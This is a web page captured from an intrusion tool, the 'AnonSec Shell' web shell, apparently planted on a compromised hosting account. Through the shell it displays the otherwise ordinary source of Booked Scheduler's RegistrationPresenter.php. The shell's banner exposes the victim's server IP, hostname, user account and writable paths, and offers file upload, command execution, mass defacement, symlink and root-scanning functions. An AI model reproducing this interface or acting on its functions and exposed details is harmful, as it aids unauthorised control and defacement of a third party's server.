. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/Presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/Presenters/RegistrationPresenter.php
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

require_once(ROOT_DIR . 'lib/Config/namespace.php');
require_once(ROOT_DIR . 'lib/Common/namespace.php');
require_once(ROOT_DIR . 'lib/Application/Attributes/namespace.php');
require_once(ROOT_DIR . 'Presenters/ActionPresenter.php');

class RegisterActions
{
	const Register = 'register';
}

class RegistrationPresenter extends ActionPresenter
{
	/**
	 * @var IRegistrationPage
	 */
	private $page;

	/**
	 * @var IRegistration
	 */
	private $registration;

	/**
	 * @var IAuthentication
	 */
	private $auth;

	/**
	 * @var ICaptchaService
	 */
	private $captchaService;

	/**
	 * @var IAttributeService
	 */
	private $attributeService;

	/**
	 * @param IRegistrationPage $page
	 * @param IRegistration|null $registration
	 * @param IAuthentication|null $authentication
	 * @param ICaptchaService|null $captchaService
	 * @param IAttributeService|null $attributeService
	 */
	public function __construct(IRegistrationPage $page, $registration = null, $authentication = null, $captchaService = null, $attributeService = null)
	{
		parent::__construct($page);

		$this->page = $page;
		$this->SetRegistration($registration);
		$this->SetAuthentication($authentication);
		$this->SetCaptchaService($captchaService);
		$this->SetAttributeService($attributeService);

		$this->AddAction(RegisterActions::Register, 'Register');
	}

	private function SetRegistration($registration)
	{
		if (is_null($registration))
		{
			$this->registration = new Registration();
		}
		else
		{
			$this->registration = $registration;
		}
	}

	private function SetAuthentication($authorization)
	{
		if (is_null($authorization))
		{
			$this->auth = PluginManager::Instance()->LoadAuthentication();
		}
		else
		{
			$this->auth = $authorization;
		}
	}

	private function SetCaptchaService($captchaService)
	{
		if (is_null($captchaService))
		{
			$this->captchaService = CaptchaService::Create();
		}
		else
		{
			$this->captchaService = $captchaService;
		}
	}

	private function SetAttributeService($attributeService)
	{
		if (is_null($attributeService))
		{
			$this->attributeService = new AttributeService(new AttributeRepository());
		}
		else
		{
			$this->attributeService = $attributeService;
		}
	}

	public function PageLoad()
	{
		$this->BounceIfNotAllowingRegistration();

		$attributes = $this->attributeService->GetAttributes(CustomAttributeCategory::USER);
		$this->page->SetAttributes($attributes->GetAttributes());

		$this->page->SetCaptchaImageUrl($this->captchaService->GetImageUrl());
		$this->PopulateTimezones();
		$this->PopulateHomepages();
	}

	public function Register()
	{
		$additionalFields = array('phone' => $this->page->GetPhone(),
								  'organization' => $this->page->GetOrganization(),
								  'position' => $this->page->GetPosition());

		$language = Resources::GetInstance()->CurrentLanguage;
		$user = $this->registration->Register(
			$this->page->GetLoginName(),
			$this->page->GetEmail(),
			$this->page->GetFirstName(),
			$this->page->GetLastName(),
			$this->page->GetPassword(),
			$this->page->GetTimezone(),
			$language,
			intval($this->page->GetHomepage()),
			$additionalFields,
			$this->GetAttributeValues());

		$context = new WebLoginContext(new LoginData(false, $language));
		$plugin = PluginManager::Instance()->LoadPostRegistration();
		$plugin->HandleSelfRegistration($user, $this->page, $context);
	}

	/**
	 * @return array|AttributeValue[]
	 */
	private function GetAttributeValues()
	{
		$attributes = array();
		foreach ($this->page->GetAttributes() as $attribute)
		{
			$attributes[] = new AttributeValue($attribute->Id, $attribute->Value);
		}
		return $attributes;
	}

	private function BounceIfNotAllowingRegistration()
	{
		if (!Configuration::Instance()->GetKey(ConfigKeys::ALLOW_REGISTRATION, new BooleanConverter()))
		{
			$this->page->RedirectPage(Pages::LOGIN);
		}
	}

	private function PopulateTimezones()
	{
		$timezoneValues = array();
		$timezoneOutput = array();

		foreach ($GLOBALS['APP_TIMEZONES'] as $timezone)
		{
			$timezoneValues[] = $timezone;
			$timezoneOutput[] = $timezone;
		}

		$this->page->SetTimezones($timezoneValues, $timezoneOutput);

		$timezone = Configuration::Instance()->GetDefaultTimezone();
		if ($this->page->IsPostBack())
		{
			$timezone = $this->page->GetTimezone();
		}

		$this->page->SetTimezone($timezone);
	}

	private function PopulateHomepages()
	{
		$homepageValues = array();
		$homepageOutput = array();

		$pages = Pages::GetAvailablePages();
		foreach ($pages as $pageid => $page)
		{
			$homepageValues[] = $pageid;
			$homepageOutput[] = Resources::GetInstance()->GetString($page['name']);
		}

		$this->page->SetHomepages($homepageValues, $homepageOutput);

		$homepageId = 1;
		if ($this->page->IsPostBack())
		{
			$homepageId = $this->page->GetHomepage();
		}

		$this->page->SetHomepage($homepageId);
	}

	protected function LoadValidators($action)
	{
		$this->page->RegisterValidator('fname', new RequiredValidator($this->page->GetFirstName()));
		$this->page->RegisterValidator('lname', new RequiredValidator($this->page->GetLastName()));
		$this->page->RegisterValidator('username', new RequiredValidator($this->page->GetLoginName()));
		$this->page->RegisterValidator('passwordmatch', new EqualValidator($this->page->GetPassword(), $this->page->GetPasswordConfirm()));
		$this->page->RegisterValidator('passwordcomplexity', new PasswordComplexityValidator($this->page->GetPassword()));
		$this->page->RegisterValidator('emailformat', new EmailValidator($this->page->GetEmail()));
		$this->page->RegisterValidator('uniqueemail', new UniqueEmailValidator(new UserRepository(), $this->page->GetEmail()));
		$this->page->RegisterValidator('uniqueusername', new UniqueUserNameValidator(new UserRepository(), $this->page->GetLoginName()));
		$this->page->RegisterValidator('captcha', new CaptchaValidator($this->page->GetCaptcha(), $this->captchaService));
		$this->page->RegisterValidator('additionalattributes', new AttributeValidator($this->attributeService, CustomAttributeCategory::USER, $this->GetAttributeValues()));
	}
}

?>

Anon7 - 2022
AnonSec Team